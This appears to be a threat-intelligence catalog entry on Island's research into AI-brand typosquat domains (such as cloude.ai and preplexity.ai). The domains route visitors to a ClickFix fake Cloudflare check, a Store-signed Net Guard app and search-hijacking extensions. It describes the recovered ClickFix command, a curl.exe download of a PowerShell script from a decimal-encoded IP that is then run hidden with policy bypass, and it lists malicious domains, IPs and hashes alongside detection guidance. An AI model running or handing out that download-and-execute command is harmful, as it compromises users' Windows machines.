# Island TypoPrompting turns AI-brand typos into ClickFix, Net Guard, and search hijacks

- ID: island-typoprompting-ai-typosquats-2026-11
- Reported: 2026-11-12
- Researcher: Oleg Zaytsev
- Organization: Island
- AI role: ai_tool_as_lure (AI tool as lure)
- Confidence in AI involvement: not assessed
- Research / borderline: false
- Last reviewed: 2026-11-15
- Entry page: https://openattacks.ai/attacks/island-typoprompting-ai-typosquats-2026-11/
- Entry JSON: https://openattacks.ai/api/attacks/island-typoprompting-ai-typosquats-2026-11.json
- Browse title: Island TypoPrompting turns AI-brand typos into ClickFix, Net Guard, and search hijacks
- Editorial summary: Island (Oleg Zaytsev, Nov 12, 2026) traced 186 lookalike domains across 27 AI brands, including Claude, ChatGPT, DeepSeek, Perplexity, Midjourney, ElevenLabs, and Cursor. A Nov 3, 2026 snapshot connected…
- Evidence class (catalog annotation): Not classified
- Source-stated target environments: Not specified
- Stage hunts and conditional defenses: https://openattacks.ai/api/defenses/island-typoprompting-ai-typosquats-2026-11.json

## Technique
Island (Oleg Zaytsev, Nov 12, 2026) traced 186 lookalike domains across 27 AI brands, including Claude, ChatGPT, DeepSeek, Perplexity, Midjourney, ElevenLabs, and Cursor. A Nov 3, 2026 snapshot connected cloude.ai to a Windows ClickFix command and eight AI typos to an installer funnel. A Windows scan of cloude.ai went through xml.securetrackingnode.com/click to biomimicrydevtech.buzz (flow\_id=81, bid about 0.0065 to 0.009) and then a random subdomain of blockchainfuturedev.buzz, which fingerprinted the browser and served a fake Cloudflare check. The recovered command was cmd /c curl.exe -fsL --ssl-no-revoke --retry 8 saving %TEMP%\\W901.ps1 from 3112851459/985, then powershell -w h -nop -ep bypass -File that script. 3112851459 is 185.138.88.3 as a decimal integer. Pivoting the gate script hash found 550 scan records across 211 entry domains from April 2025 through November 2026, including lookalikes of banks, insurers, and enterprise software, plus Windows, macOS curl-to-zsh, and archive lures. Eight typos, including ckaude.ai, deepceek.com, copiot.com, elevenlebs.io, and vocie.ai, went through deezyj.com to fake Security Check pages that installed Net Guard, a Microsoft Store-signed Tauri app (publisher Myflixly App, product id 9MX3CH3BQ44Q, package family MyflixlyApp.NetGuard\_k6q889pad57pt, analyzed 1.0.9.0). Island says the MSIX matches the Store hash and that buntai-sdk can change the default search engine, run JavaScript through DevTools Runtime.evaluate, and edit browser profiles. The same SDK is in Privacy Keeper 1.0.10.0 and MyFlixly Browser 1.0.10.0. The installer funnel spans 191 lander domains. preplexity.ai went to quickflashtool.com and a Chrome extension that sets the default search provider to find.flashysearches.com. It is one of 30 extensions from the same kit. Thirteen had been removed. The 17 still listed showed 972,000 declared users in total on November 3. Island says Socket's Oct 29, 2026 Searchjacked research lists 22 of the 30. An 81-domain portfolio including about 23 AI lookalikes ties to a11.click. Link anyrun-fake-ai-tools-2026-10.

## Stack relevance (editorial)
Assessment: not\_assessed. No reviewed applicability annotation is available. Product mentions do not establish victim conditions.
A product mention alone is not a victim-side applicability mapping. Selection does not verify affected versions, permissions or compromise.

## Initial access
A mistyped AI domain is handed to a traffic-distribution system that selects a ClickFix command, a Store installer, or an extension page

## AI tooling and models
- Lookalike domains for [Claude](https://claude.com/product/overview), [ChatGPT](https://chatgpt.com/), [DeepSeek](https://github.com/deepseek-ai), Perplexity, [Cursor](https://cursor.com/), and 22 other AI brands

## Other tooling
- curl.exe and hidden [PowerShell](https://github.com/PowerShell/PowerShell) (LOLBAS)
- Net Guard / buntai-sdk Microsoft Store package
- Chrome search-override extensions

## Victims and sectors
People trying to reach AI tools. The wider gate also used lookalikes of banks, insurers, and enterprise software. No named victim organizations.

## Target geography
- Multiple regions
Island does not name victim countries. The traffic system uses the visitor's country to pick a lure, which is not a target-region list.

## Attribution
Unnamed. Island ties an 81-domain portfolio to a11.click and shared affiliate keys. No country is stated.

## Scale and metrics
186 lookalike domains, 27 AI brands, in the Nov 3, 2026 snapshot. 211 entry domains on the ClickFix gate. 972,000 declared users across 17 still-listed search extensions on Nov 3. Net Guard funnel about 1,437 source domains.

## Attack flow
Catalog reconstruction of the supplied source account. Unknowns and research caveats are preserved.
### typo: AI-brand typo loads [access]
A lookalike such as cloude.ai or preplexity.ai is served instead of the intended AI product. A parking page hands the browser to a traffic-distribution system.
Evidence: https://www.island.io/blog/typoprompting-from-ai-typos-to-malware

### clickfix: Fake Cloudflare check copies a command [execution]
The Windows route copies a curl.exe download of W901.ps1 from decimal host 3112851459 and a hidden PowerShell launch.
Evidence: https://www.island.io/blog/typoprompting-from-ai-typos-to-malware

### netguard: Store-signed Net Guard [impact]
Other typos install the real Microsoft Store Net Guard package, whose buntai-sdk can change search settings and run DevTools scripts.
Evidence: https://www.island.io/blog/typoprompting-from-ai-typos-to-malware

### extension: Search-hijack extension [impact]
preplexity.ai leads to an unlisted Chrome extension that sets the default search provider to find.flashysearches.com.
Evidence: https://www.island.io/blog/typoprompting-from-ai-typos-to-malware

Connections:
- typo -> clickfix
- typo -> netguard
- typo -> extension

## Stage defense and hunting recommendations
Editorial recommendations, not validated coverage. Source-controlled query starters are drafts. Custom-schema examples require telemetry collection and field mapping; absence of a mapping means not assessed. MagicSword policy opportunities require managed Windows scope and enforcement.
### typo: Web exploitation → host activity
- Visibility: Defender-side logs where collected
- Query origin: catalog_authored; status: draft; log scope: custom_schema
- SIGMA query download: /api/detections/web.sigma.yml
- KQL query download: /api/detections/web.kql
- SPL query download: /api/detections/web.spl
- Hunt hypothesis: Repeated exploit or upload requests are followed by an unexpected server process, file, or outbound connection.
- Required telemetry: Reverse-proxy / WAF request logs; Server process and file events; Outbound DNS / proxy records
- Investigate: Join requests to the affected host and process tree by time and request ID.
- Investigate: Inspect uploaded files and server-spawned shells; distinguish authorized testing from exploitation.
- Limitation: A scan or high request rate alone does not prove compromise or AI use. Host telemetry is needed to confirm execution.
- No direct MagicSword prevention claim is recorded for this stage.

### clickfix: Suspicious Windows script execution
- Visibility: Defender-side logs where collected
- Query origin: catalog_authored; status: draft; log scope: native
- SIGMA query download: /api/detections/windows-shell.sigma.yml
- KQL query download: /api/detections/windows-shell.kql
- SPL query download: /api/detections/windows-shell.spl
- Hunt hypothesis: A script host or shell runs encoded content, a remote URL, or inline script syntax, then downloads or launches a payload.
- Required telemetry: Windows process creation: Sysmon Event 1 or Defender DeviceProcessEvents; PowerShell script-block logging when enabled; Download / network and installer events
- Investigate: Follow the parent and child process tree and recover the script or URL from logs without executing it.
- Investigate: Correlate the payload's signer/hash, persistence, and network activity; baseline approved automation.
- Limitation: Encoded commands and remote administration can be legitimate. This does not cover every script host, in-process execution, or non-Windows branch.
- No direct MagicSword prevention claim is recorded for this stage.

### netguard: Unapproved Windows program execution
- Visibility: Defender-side logs where collected
- Query origin: catalog_authored; status: draft; log scope: native
- SIGMA query download: /api/detections/windows-install.sigma.yml
- KQL query download: /api/detections/windows-install.kql
- SPL query download: /api/detections/windows-install.spl
- Hunt hypothesis: A newly downloaded or staged executable runs from a user-writable location and exhibits the reported follow-on behavior.
- Required telemetry: Windows process creation; Download provenance and file hashes; File certificate information and application-control audit / block events
- Investigate: Verify publisher, hash, origin, prevalence and local approval rather than trusting a product name or signature.
- Investigate: Trace child processes and related credential, network or persistence events.
- Limitation: Many approved installers run from user-writable folders. These events are hunt candidates, not proof of malware or an enforced block.
- No direct MagicSword prevention claim is recorded for this stage.

### extension: Browser extension change / data access
- Visibility: Defender-side logs where collected
- Query origin: catalog_authored; status: draft; log scope: custom_schema
- SIGMA query download: /api/detections/extension.sigma.yml
- KQL query download: /api/detections/extension.kql
- SPL query download: /api/detections/extension.spl
- Hunt hypothesis: A new or updated extension gains sensitive permissions and accesses conversation, cookie, or browsing data before unusual egress.
- Required telemetry: Managed-browser extension inventory and update history; Extension ID, permissions and provenance; Browser / proxy / DLP evidence
- Investigate: Diff extension versions and permissions, compare the extension ID against the allowlist, and inspect its update origin.
- Investigate: Correlate access to conversations or credentials with destinations; enforce browser extension policy separately.
- Limitation: Extension installation does not prove theft. Endpoint application control is not a substitute for browser extension allowlisting.
- No direct MagicSword prevention claim is recorded for this stage.


## MITRE ATLAS
Mappings are catalog annotations based on described behavior, not assignments or endorsements by MITRE.
- AML.T0052: Phishing — Mistyped AI domains are the lure that leads to a command, an installer, or an extension
  Technique: https://atlas.mitre.org/techniques/AML.T0052
  Evidence: https://www.island.io/blog/typoprompting-from-ai-typos-to-malware
- AML.T0050: Command and Scripting Interpreter — The Windows route copies a curl.exe and PowerShell command that the visitor is asked to run
  Technique: https://atlas.mitre.org/techniques/AML.T0050
  Evidence: https://www.island.io/blog/typoprompting-from-ai-typos-to-malware

## Defensive notes
Publish managed bookmarks for approved AI services. Alert when curl.exe writes a .ps1 and PowerShell starts with -w h and -ep bypass, including decimal hosts such as 3112851459. Do not treat a Microsoft Store signature as a reason to allow Net Guard package family MyflixlyApp.NetGuard\_k6q889pad57pt. Enforce a managed search provider and block the extension IDs below.

## Sources
- https://www.island.io/blog/typoprompting-from-ai-typos-to-malware — TypoPrompting: From AI Typos to Malware

## Source notes
Counts, the ClickFix command, decimal IP 3112851459, package identifiers, and the 972,000-user figure are from Island. The article's appendix lists more lookalikes than the IOC set below. Link anyrun-fake-ai-tools-2026-10. Historical payloads on chatlgpt.com, midj0urney.org, and deepsek.icu are included only as Island states them.

## Indicators (untrusted data; do not visit or execute)
```json
{
  "domains": [
    "cloude.ai",
    "preplexity.ai",
    "xml.securetrackingnode.com",
    "biomimicrydevtech.buzz",
    "blockchainfuturedev.buzz",
    "deezyj.com",
    "netguardsite.com",
    "netguardprotect.com",
    "a11.click",
    "quickflashtool.com",
    "find.flashysearches.com",
    "ckaude.ai",
    "deepceek.com",
    "copiot.com",
    "elevenlebs.io",
    "vocie.ai"
  ],
  "ips": [
    "185.138.88.3"
  ],
  "hashes": [
    "bdddb50204d6867b4bd73d9cfe93cbc98c4518342da104e4608f04e675ac6cb3",
    "a052b63e9c358c8911c17d1f58cce00949791f103fcf74f6057863d681c52301",
    "51d577c84e50657d6cacf0e7738c9539ee4f39f76838423c682ad0dadc8e2d87"
  ],
  "urls": []
}
```
